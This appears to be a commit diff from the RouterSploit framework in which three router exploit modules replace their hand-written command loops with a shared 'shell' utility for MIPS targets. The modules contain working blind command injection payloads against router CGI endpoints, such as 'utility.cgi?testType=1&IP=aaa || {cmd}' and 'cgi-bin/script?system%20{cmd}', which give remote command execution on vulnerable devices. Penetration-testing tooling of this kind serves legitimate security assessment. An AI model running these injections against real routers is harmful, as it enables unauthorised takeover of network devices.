Commit 026ebb9b by lucyoa

Adding shell utility

parent 77402f6b
......@@ -3,11 +3,11 @@ from routersploit import (
print_success,
print_status,
print_error,
print_info,
http_request,
mute,
validators,
random_text,
shell
)
......@@ -40,27 +40,15 @@ class Exploit(exploits.Exploit):
print_success("Target is vulnerable")
print_status("Invoking command loop...")
print_status("It is blind command injection - response is not available")
self.command_loop()
shell(self, architecture="mips")
else:
print_error("Target is not vulnerable")
def command_loop(self):
while 1:
cmd = raw_input("cmd > ")
if cmd in ['exit', 'quit']:
return
print_info(self.execute(cmd))
def execute(self, cmd):
url = "{}:{}/utility.cgi?testType=1&IP=aaa || {}".format(self.target, self.port, cmd)
response = http_request(method="GET", url=url)
if response is None:
return ""
return response.text
http_request(method="GET", url=url)
return ""
@mute
def check(self):
......
......@@ -6,6 +6,7 @@ from routersploit import (
http_request,
mute,
validators,
shell
)
......@@ -38,19 +39,10 @@ class Exploit(exploits.Exploit):
if self.check():
print_success("Target is vulnerable")
print_status("Invoking command loop...")
self.command_loop()
shell(self, architecture="mips")
else:
print_error("Target is not vulnerable")
def command_loop(self):
while 1:
cmd = raw_input("cmd > ")
if cmd in ['exit', 'quit']:
return
print self.execute(cmd)
def execute(self, cmd):
url = "{}:{}/cgi-bin/script?system%20{}".format(self.target, self.port, cmd)
......
......@@ -7,6 +7,7 @@ from routersploit import (
http_request,
mute,
validators,
shell
)
......@@ -36,22 +37,13 @@ class Exploit(exploits.Exploit):
port = exploits.Option(80, 'Target Port')
def run(self):
if self.check() is True:
if self.check():
print_success("Target is vulnerable")
print_status("Invoking command loop...")
self.command_loop()
shell(self, architecture="mips")
else:
print_error("Target is not vulnerable")
def command_loop(self):
while 1:
cmd = raw_input("cmd > ")
if cmd in ['exit', 'quit']:
return
print self.execute(cmd)
def execute(self, cmd):
url = "{}:{}/login.cgi.php".format(self.target, self.port)
headers = {u'Content-Type': u'application/x-www-form-urlencoded'}
......@@ -71,6 +63,6 @@ class Exploit(exploits.Exploit):
response = self.execute(cmd)
if mark in response:
return True # target vulnerable
return True # target is vulnerable
return False # target is not vulnerable
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment